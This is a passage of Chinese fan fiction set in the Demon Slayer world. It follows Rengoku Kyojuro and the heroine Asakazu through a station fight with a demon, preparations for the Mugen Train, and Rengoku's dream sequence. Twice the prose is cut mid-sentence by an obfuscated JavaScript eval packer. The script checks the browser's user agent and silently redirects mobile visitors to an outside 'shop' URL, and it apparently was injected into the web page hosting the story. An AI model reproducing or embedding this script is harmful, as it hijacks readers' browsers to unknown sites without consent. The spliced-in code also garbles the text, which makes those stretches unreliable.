它像是恐惧般猛地收回手,尖利的指甲划过日轮刀刀刃时如同金属相触般刺耳。幽绿的瞳孔颤抖,它快要脱下人类的皮囊了,在彻底发狂冲向我时,嘉泽乐的手枪响起,它前扑的动作变形,脚腕处炸出一团血雾。我的贴身女仆原本并非作为女仆被培养。她的射击成绩连肖恩都自愧不如,再快的目标靶一旦被她找到破绽,必中十环。 还有婆婆掷向鬼的便当。受击破损的木盒,米饭与蜜香的牛肉粘连着滚落在地。炼狱先生的精神成功传达给我,我为这浪费的美味便当感到深深可惜。 借此机会,我挥刀而出。但本该落在它肩颈的刀刃却因它彻底下滑的动作失效。为搏一击,我的重心前倾,而它也看破我下盘不够稳当的弱点,猛地撞向我的腿。 方才战斗间我们已经逐渐转移到车轨处。被它猛力一撞,我咬牙将刀竖起插向它的肩膀,身体飞出,手下用力,斩落它的手臂! “小姐!”风中嘉泽乐焦急的呼喊传入耳畔。 应该要及时蜷起身体,以免摔落时伤到要害!大脑是这样警告的,可是坠落的失重感让我竟难以自控身体的舒展。 怎么会不怕。 我闭紧双眼—— 杏寿郎——我就要喊出这个名字了! 心头巨颤时坠地的疼痛感并未如约而至。反而是一个温暖的怀抱将我捕获。我下意识睁开眼看去,炼狱杏寿郎线条凌厉的侧脸就在我眼前。他横抱着我跳上站台。我难以平复呼吸,眼前的一切似乎模糊,却又无比清晰。 炼狱先生把我好好地放下。不忘扶在我腰处让我站稳。 “做得很好!朝和!”他的手掌坚定地按在我的肩头,我多不想在他面前露出哭脸,可那对燃烧着火焰的眼睛里我正希冀地看着他。他收回手时顺势轻抚我的黑发,目视前方:“接下来交给我吧。” 鬼正阴狠地注视我们。它断落的手臂没有再生,脚腕上的伤口仍在流血,并未消失的疼痛感扭曲它的五官,更将利齿暴露在外。它没放弃,回身看去,嘉泽乐举着枪护住小福,肖恩则挡在婆婆前方。 干涸的嘴唇嗫嚅着,深色的诡异花纹在皮肤上形如紧缚的绳索。它忘了自己早已不是失去呼吸便会死亡的人类,还用剧烈的喘息平复内心的激荡,嘴上仍叫嚣着比试。 炼狱先生并未和它多语,拔刀出鞘。 不知火是日本传说中升腾在海面的一种怪火,数以千计的火簇横向并存于海面,如同海上燃着熊熊大火。当你驾船驶向不知火时,它永远在你的船只前方。 只是一闪身,肉眼几乎不能捕捉他的身形。刀身上萦绕的煌煌烈火点亮这片黑夜,刀刃停住时,他早已站定。鬼的头颅应声落地。 在那个凄清的夜里,万籁俱寂,雨线潺潺。火光未散尽,只有男人无声的背影。 刀尖挥下。抽鞘纳刀。 遥远岁月模糊了一切,将世事涂成黑白,却从未改变她刻骨铭心的记忆。逐渐与眼前金红色的背影完美重叠。 火焰息止,并无二致。 紫色的瞳孔震颤,泪水是今夜咸涩的雨。婆婆死死盯着眼前的背影,好像又回到二十年前那个无法破灭的夜晚。“就是你救了我吗……救了我两次……”她哽咽着。 二十年前…… 炼狱杏寿郎表情触动。他转过身时仍然微笑,姿态放松,“那应该是我的父亲吧。”恶鬼灭杀如薪火相传,不休不止,生生不息。他的语气变了,说不明是惘然还是快慰:“我继承了父亲的事业,以灭鬼为天职。” 走在黎明前的道路上。 “能和父亲一样保护你,是我的荣幸。” 22. 错位 梦还没有完,大寒尚有蝉 《痴情司》 和室里一片寂静,徒留窗外蝉声嗡鸣。还不到黄昏,天竟然也会是朦胧的紫色,晕染着西边的天地交接处,如一个淡薄的幻梦。 和千寿郎告别后,恰好路过那间堪称“荒废”的和室。 “父亲。”快要到该离开的点了,炼狱杏寿郎驻足时,称呼还是自然而然出口了。其实他满脑子都是无限列车,此刻喧嚣的并非恐惧,他向来坦然面对前路的坎坷,即使未知——无论摘下怎样的面具,有些未知都是黑暗的。但他能用自己燃出一簇火光。 毫无形象地翻身过去固执地用后背面对他的男人为他重新打开现实的门。炼狱槙寿郎倒像是重新陷入沉睡了,一脉相承的赤金色头发散乱在宽阔的后背。炼狱杏寿郎是看着这个背影长大的,直到男人彻底佝偻下去,再也直不起腰来。 千寿郎就在屋外的廊檐下呆呆地看着,父亲的态度是压抑他一生的沉重交响,于是他就在怀疑自己和坚定这两个状态之间来回横越。 炼狱杏寿郎想说些什么。但在他开口前男人已经猜到后续似的向前扑去,表示拒绝的动作再次重演。陡然伸直的手臂击中酒瓶,日本清酒倾倒在铺着的席子上,没能惹来他一点注意。 这间屋子里没有一丁点旧时的残留,于是他长久地蜗居在此,生怕走出这间屋子就会被早已远离的回忆侵袭。可惜,这世上不曾有一条路仅靠回避就能走到终点,而他的退却正中失败的靶心。 炼狱杏寿郎闭上眼,眼睑挡住燃烧的火焰。涩辣的液体浸湿一片,自少年起就十分熟悉的味道,他说不上什么喜恶,只是知道面前男人的人生,在母亲去世之后,那个装有斗志的瓶子就彻底倾倒了。 没再试图说什么,他神情坚毅地转身离开了。 今天的天气依旧那么好。 离开车站后我模糊中感觉自己陷入过一段很短暂的熟睡。具体其实根本记不起了,只是和炼狱先生一起坐在汽车后座时,不知为何困意来势汹汹,而我仿佛变成一株向日葵,即使竭力控制自己,也还是被向阳性驱使着向身旁的炼狱先生倒去。 我隐约感觉到自己正在入睡,可是发散的思维还能勾连到些许现实的转变,身体仿佛陷入下沉的湖面,迷迷糊糊中听见炼狱先生似乎说了什么,然后汽车行进的晃动终止,一双宽厚的、带有薄茧的手掌比我体温稍高一些,温暖地撑在我的肩颈和腿弯。是个温暖令人心安的怀抱。 我是不是感觉错了? 可是周围已经归于寂静,我枕着柔软的触感进入更深的沉睡。 参考我近来的睡眠质量,这无疑是我睡得最好的一次。深度睡眠时没有做梦,眼前也没有凌乱的浮光掠影的碎片,仅是甜美的黑暗。 可是我恢复意识时却觉得浑身酸痛,不仅手脚关节处用力过度而导致钝钝地不适,腰椎处更仿佛被人打进一颗钉子,某两节脊椎之间正一阵一阵生生地疼。 我睁开眼只看到眼前一片模糊,快速眨眼几下也没能改善这雾里般的环境,而自己趴着睡在有些硬的被窝里。 面前正坐有一个女性的身影,盘着漆黑的发,穿着和服,从那端正的坐姿与古典的仪态来看,我几乎以为是枝子夫人。不等我好奇枝子夫人为何会守在我床前,短暂的花眼效果结束,我很快意识到并非如此,面前的女性绝非我现实中认识的某一个人。 她察觉到我醒来,缓缓转过身——一张如从古典工笔画中拓印下来的端丽的脸,看着有些拒人千里的冷肃——我脑袋晕乎乎的,说不上来是哪里熟悉。 “朝和,”她叫我的名字,声音却意外柔和,“你曾经等待过太阳升起么?” 我该承认刚睡醒时我的大脑并不清醒,她纯熟的日语落进我耳里只剩下叮叮咚咚的脆响。“呃……抱歉,您在说什么?”我的思维高地现在究竟被什么占领了,怎么还跟没醒一样雾里看花。 她合上眼,浓密的长睫遮住那双棕色的眼睛,流出微张的唇瓣的声音似叹息似劝诫:“等待太阳升起的时间,既短暂也漫长。因为人类没办法拨动时间让寰宇走快一秒,而等待得到的只有痛楚。”千年的传承,数十代人,他们都在等待太阳升起,而太阳还未升起。 她让我想到很多东西,很多人,老电影似的一幕一幕闪过,我突然回忆起还在英国时的某个午后,我舒服地窝在沙发里懒散地翻一本日本神话,光线透过明亮的窗玻璃折射过挂钟上装饰用的琉璃,最后落在书页上的只有一小块彩色的投影。源赖光退治恶鬼的故事被照得斑驳陆离,被斩下一臂的妖怪只留下逃走的背影。 为什么会回忆起那个午后? “你要做的事,还有很多。”她轻声细语,眼中满是柔软关切,伸手轻抚我的发顶,俱是慈爱。 我注意到她腿上放着一把日本刀,从那形制来看无疑是一把日轮刀——那看着也很像我的那一柄。 像是间隔在不同世界的墙被敲破,我的大脑一片清明,此前的混沌一无所踪,于是她的形象倏地立体起来。曾在黑白相片中见过的那张脸,活在对于过去的回忆言语中的女性,用日轮刀联系起我们之间的血脉——“外婆……!” 名为妍瑰的女子正隔着时空对我微笑,我试图撑着床面坐起,手触到的却并非光滑的床单,而是铺在和室的凉席……咦?和室? 我猛地睁开眼。彻底清醒过来。熟悉的屋顶落入眼帘,淡淡的熏香味安抚我的思维,从微开的窗缝中窜进的风打乱窗帘,我还在自己的卧室里,一直都在。 而我的日轮刀就放在靠窗的桌子上,外祖父将这柄刀交给我时,把放置的刀架也转移到我的房间了。 太阳还没坠下,我看向墙上的钟表,时间还远没到那个点。可为何我如此不安?心上被鼓吹起的波澜无论如何也无法平息。 ——你要做的事,还有很多。 我的身心皆被一种强烈的不祥预感笼罩着,让我想要做些什么来缓解这种情绪。无论是近来发生的一切、今天的梦境,抑或之后即将发生的未来,被压缩在这短短两日之中塞满我的大脑,恰如骤雨来前天黑得极快,闷热难解。 心跳的速度随着这种慌乱越是汹涌澎湃,我越是无法在瞬间理清自己的思维。心声变成双声部,交替着催促我。 匆匆收拾一番后,我即刻驱车前去制药实验室。我必须为炼狱先生准备一些药,以防有乘客受伤,而隐部又来不及赶上事发的列车。当然,最好能带上些特制武器。 制药实验室的负责人姓桥下,据说明治维新时期颁布《平民苗字必称令》,规定凡国民,必须取姓。桥下先生一家居住在一座横桥下方,于是顺理成章地取姓“桥下”。 但一切和乐终结在他少时的一个夜晚,闯入家中的鬼将他的母亲与妹妹吃尽,晚归的桥下先生只看到亲人的血从屋子里蔓延出去,滴落在河中,随之被冲散了。 这位外形酷似弥勒佛般憨厚和蔼的男人在实验上拥有相当可怕的能量与坚韧的精神。若非我曾亲眼看过他不食不寝夜以继日地分析比对样品的样子,恐怕也会觉得他更适合做个行政人员。 这次拜访让我见到了欣喜若狂的桥下先生,他告诉我特效药已经初具雏形,虽然距离梦想中真正的完成品还有一小段距离,但是瑕不掩瑜,完全可以小批量投入使用。 他向我介绍道,这支药剂可以在短时间内快速提高细胞活性,促进伤口愈合与止血。并且借由之前的实验样品(没想到那个鬼先生竟然还活着,我在心里默默给他画下一个十字)与蝶屋提供的帮助,即使是在受到重大伤害后,这支药剂也可以在一定程度上灭杀鬼血液中的特殊成分,以保护伤者不会被进一步感染,将生命延续到医疗部队赶来。 “但是,”他顿了下,“这支药剂如果是普通人服下,则会有一段时间的失眠与亢奋,并且伴随一些心悸、怕热、躁郁等现象。如果是鬼杀队的剑士服用,那副作用就会更为显著,甚至可能会导致昏迷,或者与呼吸法的运用相悖。”说着,他重重叹了口气。 我看着箱子内那支装载着澄澈液体的试管。这支药剂的出现,事实上也更多是为了容易接触到高危险事件的鬼杀队剑士甚至柱准备的,然而越是这样的情况越难遇到,药剂的实际使用情况也就更不可测。 我当然希望这支药永远不会派上用场。但我必须做好万全的准备。 这时站在一旁的肖恩递上今夜这班无限列车的来回车票。桥下先生疑惑地看向我。 我正式向他提出委托,请他坐上无限列车,尽可能在炼狱先生或者乘客他们需要帮助的时候给予医疗帮助,以预防我想象中最糟情况的出现。没有谁比他更了解这种药的使用方式,所以他当然是最合适的人选。桥下先生没有犹豫,我甚至觉得他都没有思考,就严肃地接过车票,接下委托。 显而易见,我很高兴。一高兴,我就不小心多给了他几位数的经费,助力他们加速进度扩大生产。于是他也很高兴。这种和谐的气氛一直到我走进武器研制实验室才终结。 不知不觉间指针已经逼近检票时间。 考虑到后续安排,桥下先生并不与我同行。我让嘉泽乐为他专门安排了汽车送他去车站。离开前,他忽然想起什么,从案牍堆叠的办公桌上艰难地翻找出一封信,说这是有人想要交给我的。 浅色的信封用纸考究,并染了某种香味。封面上只写着“有栖川朝和(收)”。 我对这封信的来历深感不明,肖恩正在一边警惕地盯着它,好像这是个定了时的炸弹,我自然不会冒失地直接拆开。尤其这会儿我心里急切地只想赶着去见炼狱杏寿郎,于是只在肖恩不太认同的视线里随手把信塞进手提包。 我当然没在意炼狱先生让我好好休息不必送他的观点。车到炼狱宅的时候,他已经站在门外等待,漏过树叶的光斑洒在他的肩头。他低头看我,“休息得还好吗?朝和。”他的身形总是那么挺拔,站得笔直,健硕的身材被掩盖在羽织之下,还藏着日轮刀。 我用力点点头。我们一同坐在汽车后座,明明不算狭窄的空间却因为我们之间距离的缩短而骤然收紧。 放置在我腿边的提包此刻仿佛带有奇异的温度,正灼烫着我。“炼狱先生!”我突然出声打破平静。上车后就安静闭目沉思的炼狱杏寿郎一下子睁开眼睛,朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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很好的造物,唯一的问题是我要怎么把这东西交给炼狱先生……在这个连佩刀都被禁止的国家,配枪上列车无异于在挑衅公共法规。更何况炼狱先生要在什么时候使用才恰当?他一旦拔出刀,就不会在战斗胜利前停下。 看来暂时只能留着自己用。 “怎么了,朝和?”我久未说话,引来炼狱先生的体贴。 朝和啊,不要再纠结下去了!我提醒着自己注意时间,从手提包中取出一个御守,递给炼狱先生。这是前几天与那些闺秀小姐们一同去明治神宫时求来的,原本也是为了祈愿炼狱先生平安而特意选择的平安御守。没想到这么快就到了要送出去的时候。 金色御守上一面缝有平安二字,另一面则是厄运退散。炼狱先生接过时发现那个代表“夙愿达成”的结扣编织得有些松散。我侧脸试图躲避他的视线。他的触感已经告诉他这个御守的不同寻常之处,“这是?” “我在里面还装了几颗内服的药。如果炼狱先生在列车上遇到乘客受伤可以喂他吃下一颗,止血效果和预防感染的效果都很不错!”我不敢说炼狱先生受伤这样的假设。我只希望这种假设永不成立。 装进药后,我按照原样重新编出结扣。如果这个御守不被打开,那我自然夙愿达成,若真的遇到危险情况,解开结扣,也还能有回旋的余地。 炼狱杏寿郎静静看着躺在手心的御守,他的思绪似乎飞了很远很远,片刻后才重新回到躯体里。他珍重地将御守握在手心,向我道谢:“谢谢你,朝和!让你费心了。我会好好收下!” 他没有将视线从我身上移开,我们注视着对方,将此刻的安静妥帖收藏。 到车站后,提前到达的嘉泽乐与我们会合,用眼神向我示意桥下先生已经登上列车。检票处前,小福挂着货架正在售卖便当,她看见我们时欣喜地和婆婆一起迎上来打招呼。原本只是向我们送上作为谢礼的便当,但是事情最后又发展成被炼狱先生全部买下。他再次拎上满满两手便当。 鬼杀队似乎没有送别的惯例,无论是胡蝶忍还是炼狱杏寿郎,很多时候大家都孤身行动,默默出发。以柱的能力与担当,他们保护平民,也对鬼杀队普通成员负责。于是惯常用自己的身体去做抵挡在前的第一堵墙。 但我不喜欢这样。我喜欢把自己在意的东西牢牢抓在手里,所以放手是我最讨厌的词语之一。我喜欢经常见到在意的人,所以告别也是我最讨厌的词语之一。 我紧紧跟随他的步伐,直到不能再往前一步。 我有些害怕。但我不能说出口。 天快黑了。纵然此刻仍是黄昏,留有太阳余热的光辉遍洒大地,可是用不了多久,一切都会结束。形如泡沫破裂,来得寂静无声却又难以预料。 此刻我的眼神该流露出怎样的情绪?炼狱杏寿郎看向我时神情微怔,我能感受到他的温度,不仅他自身,他的精神,他的灵魂还有他眼神中燃烧着的温度,很快他又重新笑起来,和平时没两样:“就送到这里吧,朝和。”他温声为我划下止步的警戒,藏起对我的关心。 炼狱杏寿郎啊……我多想问你知不知道我此刻脑中颤动的情绪究竟名为何物。是什么一直反复挑动那根细弱的心弦,而你有无知觉? “……我会等你的消息的,一直。”我快速说着,直视他的双眼,堵住他未出口的话语。这个问题总会有得到解答的一天。 他温和地看着我,垂下的手拂过系在腰间的御守。 “炼狱杏寿郎,祝您武运昌隆。” 23. 裂痕 炼狱杏寿郎认为自己是一个不擅长道别的人。 当朝和的步子紧跟在身后时,这种认知便更清晰了。让她止步变成一件很残忍的事,尤其她希冀的眼神无疑是对他最好的控诉。但他必须为她划出那道代表停止的线,告诉她就送到这里吧。他要一个人去面对前路的险阻,这样才能把她留在安全的区域,即使代价是将背影留给她。 直到在座位上坐下,他的脑海中那双眼仍在眨,水光迷蒙的眼中自己的倒影坠入苍绿的深潭。炼狱杏寿郎合上眼,黑暗中就会再现少女的一颦一笑,他或许都没意识到自己正在悄悄微笑。 这当然不合时宜,过道上人来人往,列车启动前的击钟声响彻站台,他用静默将这种眷恋情绪洗刷尽了,视线逡巡过车厢。 列车上原本残留的鬼的气息并没有散去,甚至比凌晨来查探时隐隐浓烈几分。但是细微的气味分散在整趟列车上,即使是炼狱杏寿郎,面对这样小心翼翼隐藏着自己踪迹的猎物,也难以寻觅来源。 这个鬼把这辆列车当成自己的根据地。所以哪怕这是一个拙劣的陷阱,他也还是要踩上去试试。和炭治郎他们会合,完成检票,斩杀恶鬼,一切顺利——那么,这违和感究竟是在何时出现的? 短暂地闭上眼睛再睁开的时间用不了一秒钟,但是体感已经被拉扯得无限延长。思考能力仿佛被一片黏稠的空白笼罩,记忆成为最微不足道的构成。他几乎觉得自己忘记了一切,往前的十几年里每一个理应被清晰记得的日夜都消失不见。心里空荡荡的。 炼狱杏寿郎睁开眼时看见自己正身处熟悉的和室内。他并没有外出,而方才合上双眼的举动则是他考虑开口时用词的准备阶段,绝非陷入睡眠。 他是来做什么的?他在心里质问自己。正坐时双手恭谨地安置在腿上,他动作的端正与面前男人侧躺着的睡姿俨然形成对比,但是没人觉得奇怪。这凌乱的场景显然早已成为日常。 炼狱杏寿郎无意间伸手触到放在身旁的日轮刀——脑海中纷乱的画面如同收到某个指令似的瞬间归位,依次整齐排列,于是此间万事万物都顺理成章,他的记忆重回脑海,思考的齿轮也得以重新转动——想起来了! 他是为了来向父亲报告他成为柱的消息。 内心有一个声音叫他不要错过这次机会。 成为炎柱,对于炼狱杏寿郎而言理应是一件好事。即使说不上值得庆祝,对于家族而言也该是一件相当重要的大事。 语言在出口的时候就已经自动组建成完整的句子。好像这并非第一次讲述。 他把一切都说了。试炼的艰险,恶鬼的凶残,他的所作所为,还有主公的评价。 言语详尽并非是为了从父亲那里讨得几句鼓励与夸赞,他面不改色地看着前方,即使父亲那曾经宽阔的背影如今蜷伏在被窝里。他散着头发,枕头歪在一边,脖颈将手臂枕住,身下褥子遍布乱糟糟的压痕,身穿的和服也满是褶皱。 从头至尾,父亲都没有出声或是看他一眼。他始终无动于衷地看着手里那本写满曾经每一任炎柱手记的书,炼狱杏寿郎少年时得知这本书的存在后,也猜测过父亲会在那本书上留下什么内容,等他接过这本书后又会留下什么痕迹。 炼狱杏寿郎听到自己的声音停下后整间和室内陷入寂静。 但这寂静并未维持太久。 “成为了柱又怎样。” 屋外浓烈的阳光洒得到处都是,自然也漏进屋内。草席上金色的灿光完整地覆在父亲身上。他终于没再看书了,而是双手圈着脑袋,抗拒地把自己压在床褥上,那本书的书封上依稀有的“炎柱”二字正在无声地注视着他们二人。 奇怪……炼狱杏寿郎竟然一点也不觉得此刻父亲的言辞有何不对,如同看过排练千百次的演出,一切熟悉得他都可以倒背如流。对父亲接下来会说的话没有丝毫紧张,更不必闭气凝神地等待,就如同心里也有一个声音在说—— “无聊。无谓。” “反正也成不了什么大事。” “你和我都一样。” ——果然。 从前爱护他关心他的男人最终颓丧成现在仿佛完全拿不起刀的样子,“我们都成不了什么大事”已经是父亲的口头禅,不仅如此,炼狱杏寿郎当然看得出父亲也当真这样深信。笑容渐渐淡去,他又回到一种奇异的情绪中,像是第一次认识自己的父亲那样诧异地看向他。 当初他不是那样的。 他不是突然散架的,至少,即使在母亲刚去世后的一段时间里他仍保有过理智。但是突然有一天一切都消失了,没有任何解释。 非常的突然。 父亲沉闷的嗓音里究竟填满了什么?炼狱杏寿郎想不到,真相离他似乎很近,却还是那么远。难以触及。想不明白。想也没用的事,就不要浪费时间去想。 炼狱杏寿郎记不太清自己是怎么离开那间和室的,记忆中父亲垮掉后留给他的只剩下颓唐的背影,他再也没有看清过父亲说出那些丧气话时当初能露出热情笑容的脸上究竟做出怎样的表情。 回过神来后,炼狱杏寿郎就看到千寿郎从屋子里小心地走出,“兄长,父亲他高兴吗?”他拘谨地捏着自己的手,“如果我也成为柱的话……父亲会认可我吗?” 他也想过。 所以才第一时间回来告知父亲这个消息吧?他希望父亲在看到他的成功后能够再次振作起来。他失败了。但是他与千寿郎不同,母亲去世时千寿郎还很小,几不记事,紧接着父亲的打击却蔓延十数年,千寿郎并不完整的童年显然无法治愈一生的心理顽疾。而他渴望得到父亲认可的心理比炼狱杏寿郎强劲太多太多。 炼狱杏寿郎走上前,跪在地上以保持与千寿郎视线的平行,他扶住他的手臂,已经整理完情绪的声音听着没什么不对劲。 “老实说吧,父亲没有高兴,还说这很无聊。”炼狱杏寿郎笑着开口,没有受到任何影响,“但是,我的热情不会因为这些小事就消失,心中的火焰绝不会熄灭!我绝不会消沉。” 千寿郎眼中泪光颤抖。 “然后,千寿郎,”他的双手下移,去用力握住千寿郎的,用自己的温度温暖他,“你和我不一样,你有哥哥,哥哥相信弟弟,不管走上什么道路,你都会成为一个出色的人!心中怀抱着犹如火焰的热情,好好努力吧!” 千寿郎泪流满面地扑进他的怀里。他同样用力拥抱自己的弟弟,在这个世界上,他已经是千寿郎唯一的支柱了。 所以…… “努力活下去!” “再寂寞也不要怕。” 当他指导千寿郎剑术的时候,一个意想不到的人在此时自然地从游廊尽头走出。由远至近,窈窕的身影便越来越清晰,千寿郎却自然地同她打起招呼,这不是初次见面——不对,在想什么,这当然不是初次见面——他当然注意到那种怪异的感受,如被一层隔膜包裹着看向世界,总是雾里看花般不真实。 炼狱杏寿郎感觉到自己正皱着眉,危机意识让他投向少女的眼神变得犀利。但是心脏已经从潜意识中接过讯号,不需要大脑发出指令,就已经激动地跳跃起来。 这里是何处。 现在是何时。 他是谁。 而她又是谁? 但当这个身影站定在他面前时,一切犹疑被推翻清洗,霎时间脑海中纷乱的思绪被清理得干干净净。只剩下心跳主动供给的喜悦。 “朝和,好久不见……”这句话是脱口而出的,带着她的名字:朝和。少女曾经很自豪地说起这个名字,是她的外祖父从中文古语中取意而来,温恭朝夕,岁月静和,充满长辈对她的美好祝愿。她应当拥有这一切祝福。 为什么要说好久不见?他们不是才见过吗……是啊,他们才见过没多久。只是短暂地分开,可分别时留下的温度依然存在。 穿着时新款式洋装的少女有一种与众不同的气质,裙摆处露出笔直纤细的小腿,尖头高跟鞋上一尘不染,乌黑长发微卷,闲适地垂在肩头,她站定时肩背挺直,淑女的礼仪要她细声细气、轻拿轻放,而那双千岁绿的双眼中原本栖息着寂静的湖面,却在对上他视线的那一刻瞬间泛起涟漪。 他当然注意到了。 千寿郎不知跑到哪里去了,他完全没有注意到。 这位名为有栖川朝和的少女,正对他微笑着。“炼狱先生!”她这么称呼他,她的日语发音时带有一些别人没有的特殊习惯。音节没有粘连,却带着一点大约她自己都没有察觉到的亲昵。 而每当听她说话时,炼狱杏寿郎都会想起很多,晨曦、生机、鲜花、温暖,这世上一切可以被形容为美好的东西。炼狱杏寿郎为她的出现感到愉快,诚然,她是在他人生中平白出现的,且出现得太过突然,他不曾为此做过一丁点心理准备。可是在她出现后,炼狱杏寿郎才知道人生中有些事本就是不需要准备就会发生的。 她天然地歪过头明目张胆地打量他的表情,似乎是发现了什么异常,于是新奇地凑近了些。 炼狱杏寿郎理应回应,却忽然闭口不言。奇妙的化学反应正在他的思维中发生,他对身体的掌控精准到每一块肌肉能使用几分力度,可在此刻竟然也猜不到自己的舌头会代替混乱的想法主动说些什么,而这脱口而出的,只能是他深埋心底无法与人道起的真实想法。 他不会说谎,但也知道有些真相不应被轻易交付。 那么,到底是从何而起? 是在藤之家的那个夜晚,她怯生生的初次见面吗?是在当屋她一改先前天真有礼的样子,逗弄富纲得逞之后露出狡黠的笑容吗?还是在那条漆黑的巷子里见到她的率真勇敢吗?抑或之后的每一次接触?是她前来家中赴约学习剑术时?也可能是外出时她轻轻将指尖落在他指上?或者是仓促离开时没能同她告别而时刻惴惴不安? 炼狱杏寿郎自己也说不上来,他已经见过太多不同的有栖川朝和,而她展露出的每一面都带有奇异的魔力,能够吸引他的全部注意,让他情不自禁地把视线投向她。只投向她。这个习惯的养成是潜移默化的,仅用一段很短的时间,就把她养成自己生活中戒不掉的一个部分。 她没有说什么,只是伸手到他面前,摊开手掌,手中躺着一枚崭新的御守。金色的锦缎,朝上那一面绣有“厄运退散”。还未接过,炼狱杏寿郎就知道另一面定是绣有“平安”。象征夙愿达成的绳结略微有些松散,原本只收纳着一块篆刻神名的木牌的御守此刻被塞得鼓鼓囊囊。 “炼狱先生!这个给你,是我前两天去明治神宫祈愿得到的。”她笑起来时眼睛亮晶晶的,遇到再大的困难也无法磨灭这种精神。 她为他做了很多,身为炎柱,炼狱杏寿郎怎么会看不穿?当他迎上少女的视线时,一切昭然若揭,但默契让他们共同保持沉默,将真相平静地再次掩盖。 身边的人中,主公与夫人之间互相支撑陪伴的温情滴水石穿;作为唯一有妻子的柱,宇髄说起情爱却总是用些不着调的词句语焉不详地描述;熟悉他的虫蛀胡蝶眨眨眼,说炼狱先生你可别装傻充愣。 还有……炼狱杏寿郎从记忆中翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613421|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出父亲与母亲的过去,那些已经很遥远的日子轻而易举地回到身边,父亲专注地看着母亲,眼中再无其他外物。 在他意识到这一切之前,他已经复刻出与父亲同样的路线。 很多时候他总以为她还是个孩子,天真、简单、单纯,好懂到他能一眼看穿,他以为这份感情形如仰慕,必不会长久,那么他只要藏好自己内心蓬勃的喜悦,就能重新塑造出无事发生的平静。但是他错了。他的迁就正是内心渴望的象征,一切走向始料未及的方向,他们越走越近,近到终于不能再用虚假的平静遮掩过去。 他的躲避并不磊落,甚至有违一贯的作风,尤其在他已经掌握自己内心颤动的证据后,这些行径更加拙劣起来。他当然知道这是一个错误的选择,可如若不然,实在找不到任何方法去回应,他不能接受,又无法拒绝。他不会恐惧,并非生来就不会,他自然信任自己的能力,也对未来抱有赤忱的憧憬,但是未知依然化成浓重的阴云笼罩住所有。 炼狱杏寿郎下意识想接过那个御守,但他思维中清晰传递出一条意识制止这个动作:他已经拥有一个了。伸手摸向腰带上挂御守的位置,原本应该空无一物的地方正坦然地系着一个相同的御守。触碰到的皮肤如被烈火灼痛。 这世间自然存在热衷冒险的人,他们踩在悬崖之间的细绳上时心脏由内向外鼓出的血液都是疯狂。可炼狱杏寿郎并非这类物种,即使他知道自己此刻正站在这根摇摇欲坠的细绳之上,内心坚定的守护之道也绝不会允许他抛却理智换一息的放纵。 炎柱的身份注定他兼具警惕与保守,他必须倍加小心,要消灭危险,但豁出命去为的绝非刺激而是守护。敏感与体贴是用来照顾他人的最佳必备,于是被舍弃的就是自我的追求。 他想要的是太平的人间,从此不再有鬼,人们自由地行走在黑夜中,他会按着自己心之所向走出属于自己的道路。 这当然是他的理想,能用性命做赌,在所不辞。于是除此之外,一切都不能被提到更前。 因为太轻而易举做出的承诺配不上朝和那么真挚的感情,倘若做不到,炼狱杏寿郎更宁愿一切不曾发生。于是千年来不曾散去的黑夜成了一种病变的癌,炼狱杏寿郎不去触碰,他想,或许是因为不敢。 只要这未来的一天中太阳并未成功升起,那他就会永远保持缄默。 将她追寻的答案深深咽下。 炼狱杏寿郎久久地看着有栖川朝和,直到危险降临。 要不要回去呢? 糟糕的休息带来的后遗症在此刻凸显了。我感到头疼欲裂,大脑里能够思考的部分被一分为二,化身成两个截然不同的形象,一个声音嘈杂地不断重复着“来不及了来不及了”,另一个声音则用一种奇异的哀怨的哭腔絮絮叨叨着恐惧。语速太快,我当然一个音节都没能听清。但是这没能缓解我的头疼,反而加剧了内心的烦躁。 是真的烦躁。 嘉泽乐在副驾驶上保养枪支的动作落在我眼中都惹眼起来,我恨不得一把抢过亲自处理。肖恩不在车上,他自有他的任务。 汽车收音机正播放着一首婉转的纯音乐,轻缓的音调,节拍落在任何一个我的心脏想不到的地方。不对!是我的心脏跳得太快了——我努力平复着呼吸,试图让这份焦躁缓和下来——当然失败了!随着深呼吸而加重的呼吸声正向全世界彰显我的不安定,我按下关闭按钮的动作利落得引来嘉泽乐的警惕。 我竭尽全力不让自己去想什么无限列车、什么鬼、什么炎柱、炼狱杏寿郎、金红色的头发、赤金的眼瞳…… 可很显然,我用来控制自己理智的能力随着列车的驶远一起离开了我的身体。 我必须一遍又一遍告诉自己我已经将一切准备完善,以安抚那颗躁动的心。 天当然已经黑了,星辰带来的光明微乎其微,将这个夜晚搅得更混乱。无限列车的再次启用为火车沿线重新带来人气,纵使这唯一的班次仅仅经过几个站点。小福和婆婆早早地收拾完毕回去了,车站内寥落的灯光投射下昏黄。不知从何处飞来一只花白的飞蛾,正一下一下撞击着灯泡,肉躯触碰玻璃轻轻磕出一声闷响,转而在地面上化作一连串黑影遮挡了光线。 飞蛾扑火,自取灭亡。然而撞灯,亦是徒劳。这种光亮没有热度,也无法使之驻足。 本该在车站的固定电话前等待的肖恩突然跑出。我下意识看向手表,已经到了无限列车应该驶进第一个停靠站的时间。 不对,不对! 肖恩神情不复以往的冷静,他快跑过来拉开车门,带有焦急的声音跟着一同撞进车厢:“小姐,站点那边等待的人说无限列车没有准时进站。” 我死死盯着他开合的嘴唇。却觉得从中跳出的每一个音节都那么陌生。 “无限列车可能出事了。” 什么? 脑海中的二重奏叠合成同一个声部,嘈杂的语音很快混合形成一声尖啸,彻底撕破我的理智。 “肖恩。上车。” 